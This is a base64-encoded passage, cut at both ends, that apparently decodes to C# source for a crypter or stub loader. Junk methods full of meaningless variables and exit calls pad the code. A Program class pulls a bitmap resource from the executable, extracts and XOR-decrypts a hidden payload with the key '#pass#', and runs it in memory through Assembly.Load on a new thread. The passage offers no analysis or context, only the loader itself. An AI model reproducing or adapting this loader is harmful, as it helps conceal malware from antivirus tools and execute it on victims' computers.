9IHZsd2hjSHpLICsgODE4NzQxOw0KfWxvbmcgQVdBZWprYmwgPSA3MDA0NDY4NzQ3NTcwMzIzMTsgCg0KfXB1YmxpYyB2b2lkIGpRdXBJY2x1KCl7DQpmbG9hdCBHYmpZWVNiVCA9IDEuOTExODI0RS0zOEY7IAppbnQgc29mY3JuY0IgPSA3NDsgCndoaWxlKHNvZmNybmNCID09IDc0KXsNCnNvZmNybmNCID0gc29mY3JuY0IgKyA2NDA0ODsNCn1sb25nIHNSZVVocm5KID0gNjk4ODI4MTQ2NTMxMzAyNTI7IApkb3VibGUgZ2dvYldWSFMgPSAtMC4wMDE2MTg3MTsgCndoaWxlKGdnb2JXVkhTID09IC0yLjU0NzFFKzE2KXsNCmRvdWJsZSBEb2p5UXB1R1JrU3NTVmVFWGNwID0gTWF0aC5JRUVFUmVtYWluZGVyKDMsIDQpOw0KZ2dvYldWSFMgPSBEb2p5UXB1R1JrU3NTVmVFWGNwOw0KDQp9dWludCBMSWJob0NjZyA9IDg3OyAKYnl0ZSBFQkVQeHN5eiA9ICAzNTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCB2RW5WRmt0cyA9IDY3NzUxOyAKd2hpbGUodkVuVkZrdHMgPT0gNjc3NTEpew0KdkVuVkZrdHMgKz0gODczMzA0Ow0KfXVpbnQgeXl5ZkhZUGUgPSA5Mjk1OyAKDQp9cHVibGljIHZvaWQgb0Roa0JyY0QoKXsNCnNieXRlIG5WbXZ6a0pqID0gIC0xMjM7IAogQ29uc29sZS5SZWFkTGluZSgpO2J5dGUgaXROZEZQTk4gPSAgMjA0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWludCB0WnhLaHB4SCA9IDI4NjIxNjExNDsgCmJ5dGUga1JBdEpWTmEgPSAgOTY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1c2hvcnQgSVpiekVvTUIgPSAxOTc3OTsgCmJ5dGUgaWF0UEh3d1UgPSAgNDM7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzYnl0ZSB3WkVxSlBBWSA9ICA2MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dWludCBCVVJrU3JwYiA9IDk7IAoNCn0KfSBwdWJsaWMgY2xhc3Mgb1ZrcG5BWkp7cHVibGljIHZvaWQgeGZLaGhVdm8oKXsNCnVpbnQgU1drbVNoYUsgPSA3NzsgCmJ5dGUgRlRHYXV3Q04gPSAgMTE5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgYVNKa3Jwc3AgPSA3NzY0NzI2Mjk1MzcyNTkxMzsgCnVsb25nIENVc2N6TFZ6ID0gMzU3OTY0ODk3MTQ0MTE0NTI7IAp1c2hvcnQgYXFwZGt6b2kgPSA1NDU1NjsgCnNieXRlIExsd1FiQVBNID0gIC05MzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dXNob3J0IEdMSmZiTWh2ID0gNDE0NzA7IApzYnl0ZSBmSXhsSmJvaSA9ICAtMTA1OyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBNR1F4cERGRCgpew0KZG91YmxlIFNkZEtubHF0ID0gLTguNzU5Mzk1RS0yMDsgCmRvdWJsZSBMT3JFSVhSdGFPbnFWSUljTWpaSUtFdFl6SSA9IDkuNjkxMTg5RS0zMTsNClNkZEtubHF0ID0gTE9yRUlYUnRhT25xVklJY01qWklLRXRZekkgLyAzOw0KbG9uZyBYRnVNWlVlSiA9IDY0NjcwNDg4NzcwNTQ4Mjg0OyAKZmxvYXQgWVRGWXJybWogPSAzLjM0OTA5NkUrMjdGOyAKbG9uZyB2bmZYeVlNaSA9IDQzMTA1MzM5NTc4MjQyNzE3OyAKYnl0ZSBORHhuU0FtYyA9ICAyNDQ7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1bG9uZyBMVktkR0FweiA9IDY3NzYwMDQyMTcxNzc1MTY3OyAKZmxvYXQgSHNLYk93dVggPSA2LjYzODY5M0UtMDlGOyAKc2hvcnQgUGxRTGRWc20gPSAxMDA5NTsgCiBieXRlW10gUGxRTGRWc21QbFFMZFZzbSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiUGxRTGRWc20iKTsNCn1wdWJsaWMgdm9pZCBrZnRNZnhxQigpew0Kc2J5dGUgaXVMYXduZEEgPSAgLTEyNjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBxbG54SUh1YyA9IDE0ODYyNTM2OTM0NzUzNjQxOyAKZmxvYXQgbXpqRlZqaUMgPSAtMS4zMzI4MzVFLTMxRjsgCmJ5dGUgaXV3WUhBSWQgPSAgNDk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtkb3VibGUgUVp1dEhSemEgPSA3LjU4MTQzMUUtMjk7IAppZihRWnV0SFJ6YSA9PSAxLjI0NzUzMkUrMjcpew0KUVp1dEhSemEgPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KaW50PyBEc2ZQZXl4ID0gOTQ5MjA4OTsNCkRzZlBleXggKz0gNDE1MzsNCn1mbG9hdCBidlRyaHdZQiA9IC01MTMuMjkzOUY7IAppbnQgc055SFJhbmUgPSAyMjQ2OyAKaWYoc055SFJhbmUgPT0gNjIzNjMzKXsNCnNOeUhSYW5lID0gc055SFJhbmUgKyAzMDcyMzY7DQp9c2hvcnQgSHlqVlNxamcgPSAtODc0NDsgCiBieXRlW10gSHlqVlNxamdIeWpWU3FqZyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiSHlqVlNxamciKTsNCn1wdWJsaWMgdm9pZCBLVWVYWGpaQigpew0KbG9uZyBqeURJS1ZaVSA9IDE3ODQyMTgyODY1NTk5ODUyOyAKc3RyaW5nIEJMYlBBREROID0gIktWWGpXVmtPIjsgCiBDb25zb2xlLldyaXRlTGluZShCTGJQQURETik7bG9uZyBUdk1Vald0eiA9IDgwMjQ1NjYzMTczODcxOTk5OyAKbG9uZyBYdGZ5TWlQcSA9IDcxOTg5MDM2MTI5OTU1ODUwOyAKZG91YmxlIENzeVNGQmhIID0gLTUuODczNTExRSszNTsgCmlmKENzeVNGQmhIID09IC0xLjAwMTcxOEUrMzIpew0KQ3N5U0ZCaEggPSBNYXRoLlRydW5jYXRlKENzeVNGQmhIKTsNCkNvbnNvbGUuV3JpdGVMaW5lKENzeVNGQmhILlRvU3RyaW5nKCkpOw0KfWJ5dGUgVHpaa0hmbkwgPSAgMDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIGhpb2lBbXh1ID0gMzg3MDU2MDA4NTUyNTE1MzA7IApzdHJpbmcgVkZzb1JFcXcgPSAiamR2Z1BRelgiOyAKIENvbnNvbGUuV3JpdGVMaW5lKFZGc29SRXF3KTsNCn1wdWJsaWMgdm9pZCBMUGNoQnNkZCgpew0KbG9uZyBOVGNCR2VCbCA9IDYyNTkyNTY2MjU1MTE5Nzc3OyAKaW50IE9hTUhyQWlzID0gMjYxODU5OyAKaWYoT2FNSHJBaXMgPT0gNjA0NTI2KXsNCk9hTUhyQWlzICs9IDExMzUxNDsNCn1sb25nIHl6dHV5RVBhID0gNzgyNTIyNDY1NzQ4OTQ4Nzg7IAppbnQgVHVIeXlaRFAgPSA0MDcxOyAKd2hpbGUoVHVIeXlaRFAgPT0gNDA3MSl7DQpUdUh5eVpEUCArPSA4NzU5NDU7DQp9ZG91YmxlIEpBb3BaZ294ID0gMS44NjgzNjNFLTI0OyAKSkFvcFpnb3ggPSBNYXRoLlRydW5jYXRlKEpBb3BaZ294KTsNCnRyeXsNCmludCBtRmVIaUtiTnpkRWtDZnp5UUd6WCA9IDk5NjE1NjM7DQppZihtRmVIaUtiTnpkRWtDZnp5UUd6WCA9PSA4Mjg2MSl7DQptRmVIaUtiTnpkRWtDZnp5UUd6WCsrOw0KfWVsc2V7DQptRmVIaUtiTnpkRWtDZnp5UUd6WC0tOw0KQ29uc29sZS5Xcml0ZShtRmVIaUtiTnpkRWtDZnp5UUd6WC5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9ZmxvYXQgZ2hwcW1pVUwgPSAwLjAwMDM4OTA5NDlGOyAKdXNob3J0IGFSU1hLWmlwID0gNTgxNzM7IApzaG9ydCBiZWJnZlBsSSA9IDE5NTc1OyAKIGJ5dGVbXSBiZWJnZlBsSWJlYmdmUGxJID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJiZWJnZlBsSSIpOw0KfXB1YmxpYyB2b2lkIHRTTHhDWmNWKCl7DQpieXRlIFRsakZ1UklpID0gIDc5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IERxeFBMampDID0gMTY7IAppZihEcXhQTGpqQyA9PSA0NTMxOTEpew0KRHF4UExqakMgPSA0OTcwMjc7DQp9bG9uZyBUSGd2S1NlYSA9IDM3MzM4MjI2ODQ4MjA5NjE4OyAKdXNob3J0IEdkcndLelBKID0gMjY3Nzk7IAp1aW50IFNZV0d3RXpwID0gODAwNjY7IApieXRlIHNZWlJFRGJoID0gIDE2NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2J5dGUgbk1mZW93RlggPSAgMTk7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIGJTdWZoTHZ4ID0gODE0Njk0MDU2NjUyNjQ1Mjk7IAoNCn1wdWJsaWMgdm9pZCBSZmNjd1FIbigpew0KdXNob3J0IGxuQUdsdE1KID0gNTgxOyAKYnl0ZSB0aFdrR0V2bSA9ICA4NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgd3VVbVNqUVEgPSA5Njk3OTgyMzsgCnVsb25nIGxIbG16SUhvID0gNTU4NTM3MjY5OTA1NTI0NTA7IApieXRlIFBCd3l1aGJxID0gIDI1MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgSFNwUmZRbVogPSA1ODkzNDQ4MTUyNjkwMTE7IApzdHJpbmcgUnFCS1FlVnMgPSAicGtKRVRrb2siOyAKIENvbnNvbGUuV3JpdGVMaW5lKFJxQktRZVZzKTt1aW50IFpsa0VQRnZ1ID0gOTY7IAoNCn1wdWJsaWMgdm9pZCBnT1RkWGlyVigpew0KdWludCBLUVNnQkhDSCA9IDg5OyAKc3RyaW5nIFd4b0dvQnVEID0gImlsR1ZTRER3IjsgCiBDb25zb2xlLldyaXRlTGluZShXeG9Hb0J1RCk7c2hvcnQgRktMTG5QTHEgPSAtNzI4MDsgCiBieXRlW10gRktMTG5QTHFGS0xMblBMcSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiRktMTG5QTHEiKTtkb3VibGUgUFF4SHdFUnogPSAyLjk3NTdFLTMyOyAKZG91YmxlIFFYU0pFbXp3TUNLUmJTWkJFY2d0V053ID0gLTEuMzMzMTA3RS0yNjsNClBReEh3RVJ6ID0gTWF0aC5Sb3VuZChRWFNKRW16d01DS1JiU1pCRWNndFdOdyAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQp0cnl7DQppbnQgUU5mUU1iYVBtVlRqa0VmcWlyYWloYUNxZW9rbCA9IDgyMDYxMjk7DQppZihRTmZRTWJhUG1WVGprRWZxaXJhaWhhQ3Flb2tsID09IDk4NDY0KXsNClFOZlFNYmFQbVZUamtFZnFpcmFpaGFDcWVva2wrKzsNCn1lbHNlew0KUU5mUU1iYVBtVlRqa0VmcWlyYWloYUNxZW9rbC0tOw0KQ29uc29sZS5Xcml0ZShRTmZRTWJhUG1WVGprRWZxaXJhaWhhQ3Flb2tsLlRvU3RyaW5nKCkpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn1sb25nIGZnUlhzd1drID0gNjM3NzEwMDE5NDEwODY5NDc7IApkb3VibGUgenphWHlRdXogPSAxLjMzNTk3MkUtMDc7IAp3aGlsZSh6emFYeVF1eiA9PSAtNi4wODY1MjNFLTMyKXsNCmRvdWJsZSBMSk1OdFpSbENLVSA9IDEuMTIxMDM1RSsxMDsNCkxKTU50WlJsQ0tVID0gTWF0aC5TcXJ0KDMpOw0KenphWHlRdXogPSBMSk1OdFpSbENLVTsNCmZvciggOyA7KSB7DQpDb25zb2xlLldyaXRlTGluZSgtOC4zNzAyNzJFLTIzKTsNCn0NCn1zYnl0ZSBzY2pmcE5XRyA9ICAxMjE7IAogQ29uc29sZS5SZWFkTGluZSgpO3N0cmluZyBNYnBBemJMUyA9ICJFbExjSW9ZZiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoTWJwQXpiTFMpOw0KfQp9IHB1YmxpYyBjbGFzcyBVaWtKZWZ5YXtwdWJsaWMgdm9pZCByUnVwUEpvVCgpew0Kc2J5dGUgRkRyVmR5V3ogPSAgLTg1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgR2JoZUFGdmwgPSA2LjU2NTUyNEUrMzQ7IAp3aGlsZShHYmhlQUZ2bCA9PSAtMy4zNzMxNDFFLTE4KXsNCmRvdWJsZSBNRXFGbmNxclVqRnBPc1pSdkJjUXBiUnZ5RkZaTyA9IC0yLjU0ODIyM0UtMTQ7DQp0cnl7DQpDb25zb2xlLldyaXRlTGluZShHYmhlQUZ2bC5Ub1N0cmluZygpKTsNCn1jYXRjaChFeGNlcHRpb24gZXgpew0KQ29uc29sZS5Xcml0ZUxpbmUoZXguTWVzc2FnZSk7DQp9DQp9aW50IE5HUGRqeW5pID0gMTY1NDc5OyAKd2hpbGUoTkdQZGp5bmkgPT0gMTY1NDc5KXsNCk5HUGRqeW5pICs9IDg0NDY2MDsNCn1mbG9hdCBqbkR1ZFdyciA9IC04LjQwMTYzN0UrMTlGOyAKdWludCBmZkxhUE1jcCA9IDM3MTg0MjsgCmxvbmcgcXhOTkpIa0ogPSAyMTQ0NDAwNjQ4MTUxMzM4MzsgCmJ5dGUgUVNycG11aXMgPSAgMTUyOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgYlVMb0Jja0EgPSA1NjUwODEzNDUxNjQ2NTMxMjsgCg0KfXB1YmxpYyB2b2lkIGZQTGFzTGZIKCl7DQpieXRlIFZQUWRCUlBtID0gIDkwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBkT1pCV05RTyA9IDI2MTYzNDgyMTcxODQ4MTg5OyAKc3RyaW5nIGNrSExJWFhFID0gIkd1d0tJTGRZIjsgCiBDb25zb2xlLldyaXRlTGluZShja0hMSVhYRSk7dWxvbmcgRXdKd1BPakYgPSA4NTE2NTE3NzcxNDU1NjAyOTsgCnVpbnQgUmprbkVnRm8gPSAyMTUyNzI7IAppbnQgcmlPV2xRc2YgPSAxMzk1OyAKd2hpbGUocmlPV2xRc2YgPT0gMTM5NSl7DQpyaU9XbFFzZiArPSA5MDczOTM7DQp9c2hvcnQgb2NFWVljUkkgPSAxMTYxNzsgCiBieXRlW10gb2NFWVljUklvY0VZWWNSSSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygib2NFWVljUkkiKTtieXRlIEZ3ampka3NmID0gIDE1MDsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIEh3VWpPS3R3KCl7DQpieXRlIE54cmZvb1l2ID0gIDY1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgTkN6U1FFR2ogPSAgLTE5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgcWhDUnFZeGUgPSA2Njc3NTA5NDsgCmlmKHFoQ1JxWXhlID09IDI1MjQ2Mil7DQpxaENScVl4ZSA9IDYzMjczMjsNCn1ieXRlIGZ6TEdGWGRtID0gIDEyNjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgeWdZb2Z5Q1UgPSA3MTc1OyAKc3RyaW5nIHVqU3VVSHpxID0gImtSY0hvVGtFIjsgCiBDb25zb2xlLldyaXRlTGluZSh1alN1VUh6cSk7ZG91YmxlIGJjWGtqSkpxID0gMS41MjA2MDdFKzI1OyAKd2hpbGUoYmNYa2pKSnEgPT0gNy40NDUyODhFKzA5KXsNCmJjWGtqSkpxID0gTWF0aC5UcnVuY2F0ZShiY1hrakpKcSk7DQpDb25zb2xlLldyaXRlKGJjWGtqSkpxLlRvU3RyaW5nKCkpOw0KfXVpbnQgc2ZsWk13QmogPSA3NjsgCg0KfXB1YmxpYyB2b2lkIGttS2hHTEZUKCl7DQpzaG9ydCByUVRxUXNBcCA9IC0yMTIzOyAKIGJ5dGVbXSByUVRxUXNBcHJRVHFRc0FwID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJyUVRxUXNBcCIpO3NieXRlIGh5S0VtTXp2ID0gIDY3OyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIEpEeWF0TkZWID0gIDYwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyB0Qmt6V2lBcCA9IDUwNzk2Mzg0NzE1MzMzNTQ3OyAKbG9uZyBmUnFzeG1QeCA9IDIxOTIzMDI5NTY0ODkxNjYyOyAKdWludCBrdW5UWFNydyA9IDIxNDcxNTMzOyAKdWludCBxVndoVldycyA9IDQwNzk1NTE7IAp1bG9uZyBJY3JJWmZseiA9IDEwNjIzNzg5NDMwODYwNjUwOyAKDQp9cHVibGljIHZvaWQgb1NjTFJ3c0koKXsNCmJ5dGUgVHpKQVp3UVogPSAgMTY2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IElqaUtGZmdzID0gNDI2MzsgCnVzaG9ydCBTeFNvSVlqVyA9IDEwMjg7IAppbnQgaXhhWVpPdFogPSAzNzQ4MDc7IAppZihpeGFZWk90WiA9PSA2OTg5NzQpew0KaXhhWVpPdFogPSBpeGFZWk90WiArIDI5MzcxMjsNCn1pbnQgS0xldklXTGEgPSA5MTg0OTE7IAp3aGlsZShLTGV2SVdMYSA9PSA5MTg0OTEpew0KS0xldklXTGEgKz0gMTg3OTU4Ow0KfWZsb2F0IGZjTUJwc0Z5ID0gMS41MjM0ODJFLTIxRjsgCmludCB0dkxTV1pqcyA9IDE2NzsgCndoaWxlKHR2TFNXWmpzID09IDE2Nyl7DQp0dkxTV1pqcyArPSA4ODYwMjU7DQp9ZG91YmxlIExwYlRIWk5rID0gLTUuNjYwMTU5RS0yODsgCmlmKExwYlRIWk5rID09IDQuNzEyOTQ4RS0wNyl7DQpkb3VibGUgQnN3RVVUTW9XR2tKeWtSRmNsViA9IDEuMjIzMTY0RS0xNDsNCkNvbnNvbGUuV3JpdGUoTHBiVEhaTmsuVG9TdHJpbmcoKSk7DQp9DQp9cHVibGljIHZvaWQgUnVHZVZFZWooKXsNCmxvbmcgUnB2ZkRsZ20gPSA1MDQ5NTUxNTQ2ODY4MzcyMTsgCnVpbnQgQVJZRklFTkYgPSAyMjA4MzEzNjsgCnVsb25nIGR0eERtR1F3ID0gMzU4Mjk5MTY4MDU1MzA0NzI7IAppbnQgZ29rV2t3R1YgPSAzMzg3NDE7IAp3aGlsZShnb2tXa3dHViA9PSAzMzg3NDEpew0KZ29rV2t3R1YgPSAyNTI5MjA7DQp9dWxvbmcgb1p3cHpiWEYgPSA0MzA1NjQyMzEzMjMzMjQwMDsgCnVsb25nIHdZTUlzVFBKID0gNDA0MTYxNTY0MjI5NjcwNjg7IAp1c2hvcnQgbExnVmNLcUYgPSA2MTMzMDsgCmRvdWJsZSB4b1pLcFpRaCA9IC0xLjgwMDUwMkUtMTU7IAppZih4b1pLcFpRaCA9PSA5LjkzMjE0M0UrMzApew0KZG91YmxlIHZkbll5VWNERFNRID0gLTMuOTYyNzQ1RS0yODsNCnhvWktwWlFoID0gTWF0aC5Sb3VuZCh2ZG5ZeVVjRERTUSAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQpDb25zb2xlLldyaXRlTGluZSh4b1pLcFpRaC5Ub1N0cmluZygpKTsNCn0NCn1wdWJsaWMgdm9pZCBSRGRhdWZDQigpew0KZmxvYXQgWW9WWnByZWogPSAtMS4yNzA3MzRFKzE0RjsgCnN0cmluZyBHYm9OY0pxUyA9ICJDcW1xRVpWQyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoR2JvTmNKcVMpO3NieXRlIHdMTUVQZ0RqID0gIDEzOyAKIENvbnNvbGUuUmVhZExpbmUoKTtsb25nIHJQVVhoTEFNID0gMjE2MTE1NzMzMzkyNDU0NTY7IApsb25nIFZKWHBnb1pBID0gMjE5MTYwNzU1MTc4NDc5MjM7IApzaG9ydCBZU2JIbW1MTCA9IDI4NzkzOyAKIGJ5dGVbXSBZU2JIbW1MTFlTYkhtbUxMID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJZU2JIbW1MTCIpO2Zsb2F0IFhobnF5UVVCID0gNy41ODkyOEUrMjhGOyAKdWxvbmcgVGNBTGVJSkwgPSAyMTMzNjQzNzIzMjg2Njc0OyAKDQp9cHVibGljIHZvaWQgUXhMQW1Ja3ooKXsNCmZsb2F0IERuY2JpUGVrID0gMS4wNTAyMzJFLTI0RjsgCnVzaG9ydCBGWm50RERkYiA9IDU4NTAxOyAKZmxvYXQgSUNubWx2RWggPSAtMC4wMDAxNTQ1OTAyRjsgCnVpbnQgTEhPZmJPeXkgPSAxMjI3Njk1MzQ7IApsb25nIERQQ3NQelljID0gNjA1MDA5OTM2MjQ5NjM7IApzdHJpbmcgT3l4c05LUUkgPSAib0N0WlFvd2ciOyAKIENvbnNvbGUuV3JpdGVMaW5lKE95eHNOS1FJKTt1c2hvcnQgREtHQ3BTc3ogPSA3MTYyOyAKZmxvYXQganZEcWdYckkgPSAtMS4yMTU1N0UtMjhGOyAKDQp9Cn0gDQoNCiAgICBjbGFzcyBQcm9ncmFtDQogICAgew0KDQogICAgICAgIHN0YXRpYyBzdHJpbmcgR2dtTGZqVkZac2VvZCA9ICIjcGFzcyMiOw0KICAgICAgICBwcml2YXRlIHN0YXRpYyBieXRlW10gb01qWnZCaChieXRlW10gYnl0ZXMpDQogICAgICAgIHsNCiAgICAgICAgICAgIGJ5dGVbXSBieXRlQXJyYXkgPSBFbmNvZGluZy5Vbmljb2RlLkdldEJ5dGVzKEdnbUxmalZGWnNlb2QpOw0KICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBieXRlcy5MZW5ndGg7IGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBieXRlc1tpXSBePSBieXRlQXJyYXlbaSAlIDE2XTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBieXRlczsNCiAgICAgICAgfQ0KCQkNCgkJcHJpdmF0ZSBzdGF0aWMgYnl0ZVtdIENvbnZlcnRGcm9tQm1wKFN5c3RlbS5EcmF3aW5nLkJpdG1hcCBiKQ0KICAgICAgICB7DQogICAgICAgICAgICBpbnQgbCA9IGIuV2lkdGg7DQogICAgICAgICAgICBpbnQgbiA9IGwgKiBsICogNDsNCiAgICAgICAgICAgIGJ5dGVbXSBidWZmID0gbmV3IGJ5dGVbbl07DQogICAgICAgICAgICBpbnQgayA9IDA7DQoNCiAgICAgICAgICAgIGZvciAoaW50IHggPSAwOyB4IDwgbDsgeCsrKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGZvciAoaW50IHkgPSAwOyB5IDwgbDsgeSsrKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQnVmZmVyLkJsb2NrQ29weShCaXRDb252ZXJ0ZXIuR2V0Qnl0ZXMoYi5HZXRQaXhlbCh4LCB5KS5Ub0FyZ2IoKSksIDAsIGJ1ZmYsIGssIDQpOw0KICAgICAgICAgICAgICAgICAgICBrICs9IDQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpbnQgbGVuID0gQml0Q29udmVydGVyLlRvSW50MzIoYnVmZiwgMCk7DQogICAgICAgICAgICBieXRlW10gZiA9IG5ldyBieXRlW2xlbl07DQogICAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KGJ1ZmYsIDQsIGYsIDAsIGYuTGVuZ3RoKTsNCiAgICAgICAgICAgIHJldHVybiBmOw0KICAgICAgICB9DQoJCQ0KCQkNCgkJc3RhdGljIGJ5dGVbXSBUdHlpRDsNCgkJcHVibGljIHN0YXRpYyB2b2lkIGZlUFNYVFRFSkpIY2x5bHMoKQ0KCQl7DQoJCQlBc3NlbWJseS5Mb2FkKFR0eWlEKS5FbnRyeVBvaW50Lkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBuZXcgc3RyaW5nW10geyB9IH0pOw0KCQl9DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgbHBOYW1lLCBJbnRQdHIgbHBUeXBlKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvcj10cnVlKV0NCgkJc3RhdGljIGV4dGVybiB1aW50IFNpemVvZlJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgaFJlc0luZm8pOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBoUmVzSW5mbyk7DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJc3RhdGljIGV4dGVybiBJbnRQdHIgTG9ja1Jlc291cmNlKEludFB0ciBoUmVzRGF0YSk7DQoJCQ0KDQoJCXB1YmxpYyBzdGF0aWMgQml0bWFwIEJ5dGUySW1hZ2UoYnl0ZVtdIGltZykNCiAgICAgICAgew0KICAgICAgICAgICAgdXNpbmcgKHZhciBzdHJlYW0gPSBuZXcgTWVtb3J5U3RyZWFtKGltZykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBCaXRtYXAoc3RyZWFtKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCQkNCiAgICAgICAgc3RhdGljIHZvaWQgTWFpbigpDQogICAgICAgIHsNCiAgICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgewkJDQoJCQkJSW50UHRyIGZSZXNvdXJjZSA9IEZpbmRSZXNvdXJjZShuZXcgSW50UHRyKDApLCBuZXcgSW50UHRyKDE1MiksIG5ldyBJbnRQdHIoMjMpKTsNCgkJCQl1aW50IHNSZXNvdXJjZSA9IFNpemVvZlJlc291cmNlKG5ldyBJbnRQdHIoMCksIGZSZXNvdXJjZSk7DQoJCQkJSW50UHRyIGxSZXNvdXJjZSA9IExvYWRSZXNvdXJjZShuZXcgSW50UHRyKDApLCBmUmVzb3VyY2UpOw0KCQkJCUludFB0ciBkUmVzb3VyY2UgPSBMb2NrUmVzb3VyY2UobFJlc291cmNlKTsNCgkJCQkNCgkJCQlUdHlpRCA9IG5ldyBieXRlW3NSZXNvdXJjZV07DQoJCQkJU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWwuQ29weShkUmVzb3VyY2UsIFR0eWlELCAwLCBTeXN0ZW0uQ29udmVydC5Ub0ludDMyKHNSZXNvdXJjZSkpOw0KCQkJCVR0eWlEID0gb01qWnZCaChDb252ZXJ0RnJvbUJtcChCeXRlMkltYWdlKFR0eWlEKSkpOw0KCQkJCQ0KCQkJCVN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkIHRociA9IG5ldyBTeXN0ZW0uVGhyZWFkaW5nLlRocmVhZChmZVBTWFRURUpKSGNseWxzKTsNCgkJCQl0aHIuU3RhcnQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNhdGNoDQogICAgICAgICAgICB7DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCgkNCglwdWJsaWMgY2xhc3MgcGdHRWpKYm17cHVibGljIHZvaWQgaUhzaGdHbHEoKXsNCnN0cmluZyBxWmlFVU9qUiA9ICJNRVRUbFZjWiI7IAogQ29uc29sZS5Xcml0ZUxpbmUocVppRVVPalIpO3VzaG9ydCBqSWx2VFFBViA9IDY0NTUyOyAKdXNob3J0IG1KTVBqbWJoID0gMzM1Mjc7IApmbG9hdCBLVVdsclB5dyA9IDEuNDA2NjY4RS0zOEY7IApkb3VibGUgUFFTYVZUTlMgPSA4Ljg1ODI5NEUtMzI7IAp3aGlsZShQUVNhVlROUyA9PSAtNC4xMzE0MThFKzI3KXsNClBRU2FWVE5TID0gTWF0aC5DZWlsaW5nKE1hdGguQ29zKDIpKTsNCmludFtdIExmaElaID0geyA5NDg2MjUzICwgMjY3NiB9IDsNClJhbmRvbSBGekNsWD0gbmV3IFJhbmRvbSgpOw0KQ29uc29sZS5Xcml0ZUxpbmUoTGZoSVpbRnpDbFguTmV4dCgwLDIpXSk7DQp9ZmxvYXQgcGlEUXlvQnYgPSAtNC43MjIwMThFLTA2RjsgCnN0cmluZyB5TktZUnd5VCA9ICJGa2NNWHhSTyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoeU5LWVJ3eVQpO2Zsb2F0IE9TV1Nwa2dFID0gLTMuNzA3NTlFKzM2RjsgCg0KfXB1YmxpYyB2b2lkIHhlamh4V2VaKCl7DQp1c2hvcnQgRG5DVWdydmggPSA4Nzk4OyAKbG9uZyBRWXlCUEpCVSA9I